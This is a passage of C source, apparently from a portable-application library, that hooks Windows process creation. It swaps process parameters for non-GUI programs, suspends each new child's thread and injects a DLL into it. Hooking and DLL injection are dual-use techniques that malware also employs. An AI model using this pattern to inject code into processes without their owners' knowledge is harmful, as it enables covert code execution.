	{
		;
	}
	else
	{
		if ( !IsGUI((LPCWSTR)ProcessParameters->ImagePathName.Buffer) )
			ProcessParameters = &mY_ProcessParameters;
	}
	status = TrueNtCreateUserProcess(ProcessHandle, ThreadHandle,
								  ProcessDesiredAccess, ThreadDesiredAccess,
								  ProcessObjectAttributes, ThreadObjectAttributes,
								  CreateProcessFlags, CreateThreadFlags, ProcessParameters,
								  CreateInfo, AttributeList);
	if ( NT_SUCCESS(status)&&tohook)
	{
		ULONG Suspend = 0;
		fzero(&ProcessInformation,sizeof(PROCESS_INFORMATION));
		ProcessInformation.hProcess = *ProcessHandle;
		ProcessInformation.hThread = *ThreadHandle;
	/* when tcmalloc enabled or MinGW compile time,InjectDll crash on win8/8.1 */
	#if !defined(ENABLE_TCMALLOC) && !defined(__GNUC__) && !defined(LIBPORTABLE_STATIC)
		if ( NT_SUCCESS(TrueNtSuspendThread(ProcessInformation.hThread,&Suspend)) )
		{
		#ifdef _LOGDEBUG
			logmsg("NtInjectDll() run .n");
		#endif
			InjectDll(&ProcessInformation);
		}
	#endif
	}
	return status;
}